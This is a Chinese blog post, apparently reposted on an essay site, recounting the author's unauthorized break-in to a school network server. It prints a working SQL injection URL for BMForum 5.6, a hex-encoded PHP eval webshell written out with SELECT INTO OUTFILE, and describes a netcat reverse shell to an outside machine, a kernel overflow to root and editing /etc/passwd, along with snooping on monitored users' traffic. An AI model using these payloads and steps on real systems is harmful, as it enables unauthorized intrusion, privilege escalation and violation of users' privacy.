首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 生活随笔 > 正文

    linux系统从入侵到提权的详细过程(图文) linux提权

    时间：2020-02-18来源：山茶花美文网 本文已影响 人 山茶花美文网手机站

    前奏：无意间拿下了学校一台检测网络访问的服务器，无意间看到一个远程登录的信息，遂对此网段扫描了一下80端口。。。

    上个J8，就是那个上网检测东西。。

    linux系统从入侵到提权的详细过程(图文)1

    其实记录的很详细，没有加密的聊天内容都可以看到。我还是比较尊重他人隐私的，所以只查看了一些上网行为。

    刚才说了，扫了一下那个网段的80端口，有一个开着，就点进去看了一下，是BMForum20075.6的论坛，php的。

    老系统了，记得前几年爆了个注入，也不知道是不是这个版本，上db-exploit看了一下，艹，中枪了。

    ————————-下面的来自db-exploit————————

    BMForum5.6(tagname)RemoteSQLInjectionVulnerability

    Author:~!Dok_tOR!~

    Datefound:30.09.08

    Product:BMForum

    Version:5.6

    URL:www.bmforum.com

    VulnerabilityClass:SQLInjection

    Condition:magic_quotes_gpc=Off

    Exploit:

    http://localhost/[installdir]/plugins.php?p=tags&forumid=0&tagname=-1′+union+select+1,concat_ws(0x3a,username,pwd),3,4+from+bmb_userlist+where+userid=1/*

    #milw0rm.com[2008-10-01]

    linux系统从入侵到提权的详细过程(图文)2

    于是乎….

    linux系统从入侵到提权的详细过程(图文)3

    不用猜你就懂了，密码是admin。

    进后台了，这个模式我不是很喜欢，翻了半天没找到能上传的地方。上J8。

    linux系统从入侵到提权的详细过程(图文)4

    不过，还是好好找，依然能找到可以利用的东西，发现了这个后台有phpinfo()和SQL执行。

    看了一下，是root权限，也得到了web目录，如果没开启魔术引号，可以考虑intooutfile。

    补一句：mysql的root权限在linux下一般没什么用，有写权限就不错了，如果是windows系统，可以考虑导出udf.dll。

    linux系统从入侵到提权的详细过程(图文)5

    linux系统从入侵到提权的详细过程(图文)6

    linux系统从入侵到提权的详细过程(图文)7

    linux系统从入侵到提权的详细过程(图文)8

    管理员百密一疏啊，没开魔术引号~~蛤蛤，大快人心！！~

    直接select一句话木马，然后导出到文件~~

    下面那一段十六进制字符串是<?phpeval($_REQUEST[fuck]);?> 的hex值

    select0x3C3F706870206576616C28245F524551554553545B6675636B5D293B3F3Eintooutfile‘/usr/local/bmf/bmb/datafile/x.php’

    linux系统从入侵到提权的详细过程(图文)9

    然后成功得到shell。如图。

    linux系统从入侵到提权的详细过程(图文)10

    接下来，试试菜刀里能不能执行命令，下面就要考虑提权了。

    试了一下，看似可以执行命令，也得到了一些服务器信息。

    linux系统从入侵到提权的详细过程(图文)11

    2.6.9-22的内核，有溢出。

    这个终端有个毛病，就是不能即时回显，毕竟是通过webshell虚拟的终端，所以，还需要nc来反弹一个shell，用于溢出。

    这个服务器上已经装了nc，可是是阉割过的，不能指向bash，所以，下载源码，编译。

    用wget在sourceforge.net上下载，就不多说了。。

    编译什么的，也是soeasy。实在不行就百度一个i386架构下编译的linux版netcat。

    下面的工作就是要反弹shell了，一台外网的机子是必须的，就算不是外网，能映射也行。

    刚好手头有个映射过端口的服务器，如果是外网服务器，就更简单了，详见netcat使用帮助。

    http://wenku.baidu.com/view/f77334ee19e8b8f67c1cb9fe.html

    好了，开始反弹吧。。。

    linux系统从入侵到提权的详细过程(图文)12

    linux系统从入侵到提权的详细过程(图文)13

    很好，反弹成功，已经可以执行一些低权限的命令的。

    接着提权吧。上传了一个叫做“x”的程序，用于溢出。

    linux系统从入侵到提权的详细过程(图文)14

    蛤蛤，溢出成功了，已经是root权限了，下面加用户什么的就不说了，你懂的~~

    唠叨一句，变身成root的方法。。。修改/etc/passwd

    linux系统从入侵到提权的详细过程(图文)15

    这是我用pietty连接ssh之后，查看passwd，已经改成root了

    作者sunrise@luzix.com from：情"blog

    • linux系统从入侵到提权的详细过程(图文) linux提权 相关文章:
    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文linux系统从入侵到提权的详细过程(图文) linux提权由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.